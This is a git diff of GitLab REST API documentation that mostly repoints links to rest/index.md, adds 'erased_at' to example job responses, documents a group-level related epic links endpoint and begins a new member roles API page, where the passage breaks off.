+| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `image_id` | integer | yes | The ID of the image | diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md index cb08dc26b64..3910594f086 100644 --- a/doc/api/issues_statistics.md +++ b/doc/api/issues_statistics.md @@ -91,7 +91,7 @@ GET /groups/:id/issues_statistics?confidential=true | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | @@ -147,7 +147,7 @@ GET /projects/:id/issues_statistics?confidential=true | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | no | Return only the milestone having the given `iid` | | `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md index 3e5f49377cb..b73eafea3c4 100644 --- a/doc/api/job_artifacts.md +++ b/doc/api/job_artifacts.md @@ -18,7 +18,7 @@ GET /projects/:id/jobs/:job_id/artifacts | Attribute | Type | Required | Description | |---------------------------|----------------|----------|-------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | ID of a job. | | `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/jobs/ci_job_token.md#download-an-artifact-from-a-different-pipeline) for multi-project pipelines. It should be invoked only in a CI/CD job defined in the `.gitlab-ci.yml` file. The value is always `$CI_JOB_TOKEN`. The job associated with the `$CI_JOB_TOKEN` must be running when this token is used. | @@ -82,7 +82,7 @@ Parameters | Attribute | Type | Required | Description | |---------------------------|----------------|----------|-------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | | `job` | string | yes | The name of the job. | | `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/jobs/ci_job_token.md#download-an-artifact-from-a-different-pipeline) for multi-project pipelines. It should be invoked only in a CI/CD job defined in the `.gitlab-ci.yml` file. The value is always `$CI_JOB_TOKEN`. The job associated with the `$CI_JOB_TOKEN` must be running when this token is used. | @@ -143,7 +143,7 @@ Parameters | Attribute | Type | Required | Description | |---------------------------|----------------|----------|-------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | The unique job identifier. | | `artifact_path` | string | yes | Path to a file inside the artifacts archive. | | `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/jobs/ci_job_token.md#download-an-artifact-from-a-different-pipeline) for multi-project pipelines. It should be invoked only in a CI/CD job defined in the `.gitlab-ci.yml` file. The value is always `$CI_JOB_TOKEN`. The job associated with the `$CI_JOB_TOKEN` must be running when this token is used. | @@ -187,7 +187,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------------|----------------|----------|-------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `ref_name` | string | yes | Branch or tag name in repository. `HEAD` or `SHA` references are not supported. | | `artifact_path` | string | yes | Path to a file inside the artifacts archive. | | `job` | string | yes | The name of the job. | @@ -219,7 +219,7 @@ Parameters | Attribute | Type | Required | Description | |-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | ID of a job. | Example request: @@ -274,7 +274,7 @@ DELETE /projects/:id/jobs/:job_id/artifacts | Attribute | Type | Required | Description | |-----------|----------------|----------|-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `job_id` | integer | yes | ID of a job. | Example request: @@ -303,7 +303,7 @@ DELETE /projects/:id/artifacts | Attribute | Type | Required | Description | |-----------|----------------|----------|-----------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | Example request: diff --git a/doc/api/jobs.md b/doc/api/jobs.md index 992cb70c45d..2d65ea82edd 100644 --- a/doc/api/jobs.md +++ b/doc/api/jobs.md @@ -10,7 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w Get a list of jobs in a project. Jobs are sorted in descending order of their IDs. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination) +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination) + +This endpoint supports both offset-based and [keyset-based](rest/index.md#keyset-based-pagination) pagination. Keyset-based +pagination is recommended when requesting consecutive pages of results. ```plaintext GET /projects/:id/jobs @@ -18,7 +21,7 @@ GET /projects/:id/jobs | Attribute | Type | Required | Description | |-----------|--------------------------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `scope` | string **or** array of strings | **{dotted-circle}** No | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, `waiting_for_resource`, or `manual`. All jobs are returned if `scope` is not provided. | ```shell @@ -44,6 +47,7 @@ Example of response "created_at": "2015-12-24T15:51:21.802Z", "started_at": "2015-12-24T17:54:27.722Z", "finished_at": "2015-12-24T17:54:27.895Z", + "erased_at": null, "duration": 0.173, "queued_duration": 0.010, "artifacts_file": { @@ -112,6 +116,7 @@ Example of response "created_at": "2015-12-24T15:51:21.727Z", "started_at": "2015-12-24T17:54:24.729Z", "finished_at": "2015-12-24T17:54:24.921Z", + "erased_at": null, "duration": 0.192, "queued_duration": 0.023, "artifacts_expire_at": "2016-01-23T17:54:24.921Z", @@ -163,7 +168,7 @@ Example of response Get a list of jobs for a pipeline. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination) +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination) ```plaintext GET /projects/:id/pipelines/:pipeline_id/jobs @@ -171,7 +176,7 @@ GET /projects/:id/pipelines/:pipeline_id/jobs | Attribute | Type | Required | Description | |-------------------|--------------------------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `pipeline_id` | integer | **{check-circle}** Yes | ID of a pipeline. Can also be obtained in CI jobs via the [predefined CI variable](../ci/variables/predefined_variables.md) `CI_PIPELINE_ID`. | | `scope` | string **or** array of strings | **{dotted-circle}** No | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, `waiting_for_resource`, or `manual`. All jobs are returned if `scope` is not provided. | | `include_retried` | boolean | **{dotted-circle}** No | Include retried jobs in the response. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/272627) in GitLab 13.9. | @@ -199,6 +204,7 @@ Example of response "created_at": "2015-12-24T15:51:21.727Z", "started_at": "2015-12-24T17:54:24.729Z", "finished_at": "2015-12-24T17:54:24.921Z", + "erased_at": null, "duration": 0.192, "queued_duration": 0.023, "artifacts_expire_at": "2016-01-23T17:54:24.921Z", @@ -258,6 +264,7 @@ Example of response "created_at": "2015-12-24T15:51:21.802Z", "started_at": "2015-12-24T17:54:27.722Z", "finished_at": "2015-12-24T17:54:27.895Z", + "erased_at": null, "duration": 0.173, "queued_duration": 0.023, "artifacts_file": { @@ -334,7 +341,7 @@ GET /projects/:id/pipelines/:pipeline_id/bridges | Attribute | Type | Required | Description | |---------------|--------------------------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `pipeline_id` | integer | **{check-circle}** Yes | ID of a pipeline. | | `scope` | string **or** array of strings | **{dotted-circle}** No | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, `waiting_for_resource`, or `manual`. All jobs are returned if `scope` is not provided. | @@ -361,6 +368,7 @@ Example of response "created_at": "2015-12-24T15:51:21.802Z", "started_at": "2015-12-24T17:54:27.722Z", "finished_at": "2015-12-24T17:58:27.895Z", + "erased_at": null, "duration": 240, "queued_duration": 0.123, "id": 7, @@ -449,6 +457,7 @@ Example of response "created_at": "2015-12-24T15:51:21.880Z", "started_at": "2015-12-24T17:54:30.733Z", "finished_at": "2015-12-24T17:54:31.198Z", + "erased_at": null, "duration": 0.465, "queued_duration": 0.123, "artifacts_expire_at": "2016-01-23T17:54:31.198Z", @@ -575,7 +584,7 @@ GET /projects/:id/jobs/:job_id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | ```shell @@ -600,6 +609,7 @@ Example of response "created_at": "2015-12-24T15:51:21.880Z", "started_at": "2015-12-24T17:54:30.733Z", "finished_at": "2015-12-24T17:54:31.198Z", + "erased_at": null, "duration": 0.465, "queued_duration": 0.010, "artifacts_expire_at": "2016-01-23T17:54:31.198Z", @@ -655,7 +665,7 @@ GET /projects/:id/jobs/:job_id/trace | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | ```shell @@ -679,7 +689,7 @@ POST /projects/:id/jobs/:job_id/cancel | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | ```shell @@ -704,6 +714,7 @@ Example of response "created_at": "2016-01-11T10:13:33.506Z", "started_at": "2016-01-11T10:14:09.526Z", "finished_at": null, + "erased_at": null, "duration": 8, "queued_duration": 0.010, "id": 1, @@ -732,7 +743,7 @@ POST /projects/:id/jobs/:job_id/retry | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | ```shell @@ -757,6 +768,7 @@ Example of response "created_at": "2016-01-11T10:13:33.506Z", "started_at": null, "finished_at": null, + "erased_at": null, "duration": null, "queued_duration": 0.010, "id": 1, @@ -787,7 +799,7 @@ Parameters | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | Example of request @@ -821,6 +833,7 @@ Example of response "created_at": "2016-01-11T10:13:33.506Z", "started_at": "2016-01-11T10:13:33.506Z", "finished_at": "2016-01-11T10:15:10.506Z", + "erased_at": "2016-01-11T11:30:19.914Z", "duration": 97.0, "queued_duration": 0.010, "status": "failed", @@ -847,7 +860,7 @@ POST /projects/:id/jobs/:job_id/play | Attribute | Type | Required | Description | |----------------------------|-----------------|------------------------|-------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | **{check-circle}** Yes | ID of a job. | | `job_variables_attributes` | array of hashes | **{dotted-circle}** No | An array containing the custom variables available to the job. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/37267) GitLab 14.9. | @@ -894,6 +907,7 @@ Example response: "created_at": "2016-01-11T10:13:33.506Z", "started_at": null, "finished_at": null, + "erased_at": null, "duration": null, "queued_duration": 0.010, "id": 1, diff --git a/doc/api/labels.md b/doc/api/labels.md index 5851138a3a3..a5d5461c1ac 100644 --- a/doc/api/labels.md +++ b/doc/api/labels.md @@ -15,7 +15,7 @@ The `description_html` - was [added](https://gitlab.com/gitlab-org/gitlab/-/merg Get all labels for a given project. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). ```plaintext GET /projects/:id/labels @@ -23,7 +23,7 @@ GET /projects/:id/labels | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `with_counts` | boolean | no | Whether or not to include issue and merge request counts. Defaults to `false`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31543) in GitLab 12.2)_ | | `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. | | `search` | string | no | Keyword to filter labels by. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 | @@ -119,7 +119,7 @@ GET /projects/:id/labels/:label_id | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a project's label. | | `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. | @@ -156,7 +156,7 @@ POST /projects/:id/labels | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the label | | `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | | `description` | string | no | The description of the label | @@ -195,7 +195,7 @@ DELETE /projects/:id/labels/:label_id | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | ```shell @@ -216,7 +216,7 @@ PUT /projects/:id/labels/:label_id | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | | `new_name` | string | yes if `color` is not provided | The new name of the label | | `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | @@ -265,7 +265,7 @@ PUT /projects/:id/labels/:label_id/promote | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | ```shell @@ -303,7 +303,7 @@ POST /projects/:id/labels/:label_id/subscribe | Attribute | Type | Required | Description | | ---------- | ----------------- | -------- | ------------------------------------ | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a project's label | ```shell @@ -341,7 +341,7 @@ POST /projects/:id/labels/:label_id/unsubscribe | Attribute | Type | Required | Description | | ---------- | ----------------- | -------- | ------------------------------------ | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a project's label | ```shell diff --git a/doc/api/linked_epics.md b/doc/api/linked_epics.md index c240b3255c6..434e6080ffb 100644 --- a/doc/api/linked_epics.md +++ b/doc/api/linked_epics.md @@ -11,7 +11,129 @@ info: To determine the technical writer assigned to the Stage/Group associated w If the Related Epics feature is not available in your GitLab plan, a `403` status code is returned. -## List linked epics +## List related epic links from a group + +Get a list of a given group's related epic links within group and sub-groups, filtered according to the user authorizations. +The user needs to have access to the `source_epic` and `target_epic` to access the related epic link. + +```plaintext +GET /groups/:id/epics/related_epic_links +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| ---------- | -------------- | ---------------------- | ------------------------------------------------------------------------- | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | +| `created_after` | string | no | Return related epic links created on or after the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | +| `created_before` | string | no | Return related epic links created on or before the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | +| `updated_after` | string | no | Return related epic links updated on or after the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | +| `updated_before` | string | no | Return related epic links updated on or before the given time. Format: ISO 8601 (`YYYY-MM-DDTHH:MM:SSZ`) | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/related_epic_links" +``` + +Example response: + +```json +[ + { + "id": 1, + "created_at": "2022-01-31T15:10:44.988Z", + "updated_at": "2022-01-31T15:10:44.988Z", + "link_type": "relates_to", + "source_epic": { + "id": 21, + "iid": 1, + "color": "#1068bf", + "text_color": "#FFFFFF", + "group_id": 26, + "parent_id": null, + "parent_iid": null, + "title": "Aspernatur recusandae distinctio omnis et qui est iste.", + "description": "some description", + "confidential": false, + "author": { + "id": 15, + "username": "trina", + "name": "Theresia Robel", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/085e28df717e16484cbf6ceca75e9a93?s=80&d=identicon", + "web_url": "http://gitlab.example.com/trina" + }, + "start_date": null, + "end_date": null, + "due_date": null, + "state": "opened", + "web_url": "http://gitlab.example.com/groups/flightjs/-/epics/1", + "references": { + "short": "&1", + "relative": "&1", + "full": "flightjs&1" + }, + "created_at": "2022-01-31T15:10:44.988Z", + "updated_at": "2022-03-16T09:32:35.712Z", + "closed_at": null, + "labels": [], + "upvotes": 0, + "downvotes": 0, + "_links": { + "self": "http://gitlab.example.com/api/v4/groups/26/epics/1", + "epic_issues": "http://gitlab.example.com/api/v4/groups/26/epics/1/issues", + "group": "http://gitlab.example.com/api/v4/groups/26", + "parent": null + } + }, + "target_epic": { + "id": 25, + "iid": 5, + "color": "#1068bf", + "text_color": "#FFFFFF", + "group_id": 26, + "parent_id": null, + "parent_iid": null, + "title": "Aut assumenda id nihil distinctio fugiat vel numquam est.", + "description": "some description", + "confidential": false, + "author": { + "id": 3, + "username": "valerie", + "name": "Erika Wolf", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/9ef7666abb101418a4716a8ed4dded80?s=80&d=identicon", + "web_url": "http://gitlab.example.com/valerie" + }, + "start_date": null, + "end_date": null, + "due_date": null, + "state": "opened", + "web_url": "http://gitlab.example.com/groups/flightjs/-/epics/5", + "references": { + "short": "&5", + "relative": "&5", + "full": "flightjs&5" + }, + "created_at": "2022-01-31T15:10:45.080Z", + "updated_at": "2022-03-16T09:32:35.842Z", + "closed_at": null, + "labels": [], + "upvotes": 0, + "downvotes": 0, + "_links": { + "self": "http://gitlab.example.com/api/v4/groups/26/epics/5", + "epic_issues": "http://gitlab.example.com/api/v4/groups/26/epics/5/issues", + "group": "http://gitlab.example.com/api/v4/groups/26", + "parent": null + } + }, + } +] +``` + +## List linked epics from an epic Get a list of a given epic's linked epics filtered according to the user authorizations. @@ -24,7 +146,7 @@ Supported attributes: | Attribute | Type | Required | Description | | ---------- | -------------- | ---------------------- | ------------------------------------------------------------------------- | | `epic_iid` | integer | **{check-circle}** Yes | Internal ID of a group's epic | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | Example request: @@ -103,9 +225,9 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|-----------------------------|---------------------------------------| | `epic_iid` | integer | **{check-circle}** Yes | Internal ID of a group's epic. | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `target_epic_iid` | integer/string | **{check-circle}** Yes | Internal ID of a target group's epic. | -| `target_group_id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the target group](index.md#namespaced-path-encoding). | +| `target_group_id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the target group](rest/index.md#namespaced-path-encoding). | | `link_type` | string | **{dotted-circle}** No | Type of the relation (`relates_to`, `blocks`, `is_blocked_by`), defaults to `relates_to`. | Example request: @@ -118,6 +240,10 @@ Example response: ```json { + "id": 1, + "created_at": "2022-01-31T15:10:44.988Z", + "updated_at": "2022-01-31T15:10:44.988Z", + "link_type": "relates_to", "source_epic": { "id": 21, "iid": 1, @@ -202,7 +328,6 @@ Example response: "parent": null } }, - "link_type": "relates_to" } ``` @@ -222,7 +347,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------------------|----------------|-----------------------------|---------------------------------------| | `epic_iid` | integer | **{check-circle}** Yes | Internal ID of a group's epic. | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `related_epic_link_id` | integer/string | **{check-circle}** Yes | Internal ID of a related epic link. | Example request: @@ -235,6 +360,10 @@ Example response: ```json { + "id": 1, + "created_at": "2022-01-31T15:10:44.988Z", + "updated_at": "2022-01-31T15:10:44.988Z", + "link_type": "relates_to", "source_epic": { "id": 21, "iid": 1, @@ -319,6 +448,5 @@ Example response: "parent": null } }, - "link_type": "relates_to" } ``` diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md index e9cab7f878a..6aee60c57e0 100644 --- a/doc/api/managed_licenses.md +++ b/doc/api/managed_licenses.md @@ -19,7 +19,7 @@ GET /projects/:id/managed_licenses | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses" @@ -52,7 +52,7 @@ GET /projects/:id/managed_licenses/:managed_license_id | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project | ```shell @@ -79,7 +79,7 @@ POST /projects/:id/managed_licenses | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the managed license | | `approval_status` | string | yes | The approval status of the license. "allowed" or "denied". | @@ -107,7 +107,7 @@ DELETE /projects/:id/managed_licenses/:managed_license_id | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project | ```shell @@ -126,7 +126,7 @@ PATCH /projects/:id/managed_licenses/:managed_license_id | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project | | `approval_status` | string | yes | The approval status of the license. "allowed" or "denied". | diff --git a/doc/api/markdown.md b/doc/api/markdown.md index b4b700d24d6..e79b05ac012 100644 --- a/doc/api/markdown.md +++ b/doc/api/markdown.md @@ -20,7 +20,7 @@ To remove the requirement to authenticate, ask an administrator to [disable the feature flag](../administration/feature_flags.md) named `authenticate_markdown_api`. On GitLab.com, this feature is available. -All API calls to the Markdown API must be [authenticated](index.md#authentication). +All API calls to the Markdown API must be [authenticated](rest/index.md#authentication). ## Render an arbitrary Markdown document diff --git a/doc/api/member_roles.md b/doc/api/member_roles.md new file mode 100644 index 00000000000..a7fc93e0df5 --- /dev/null +++ b/doc/api/member_roles.md @@ -0,0 +1,117 @@ +--- +stage: Manage +group: Authentication and Authorization +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Member roles API **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96996) in GitLab 15.4. [Deployed behind the `customizable_roles` flag](../administration/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110810) in GitLab 15.9. + +## List all member roles of a group + +Gets a list of group member roles viewable by the authenticated user. + +```plaintext +GET /groups/:id/member_roles +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the 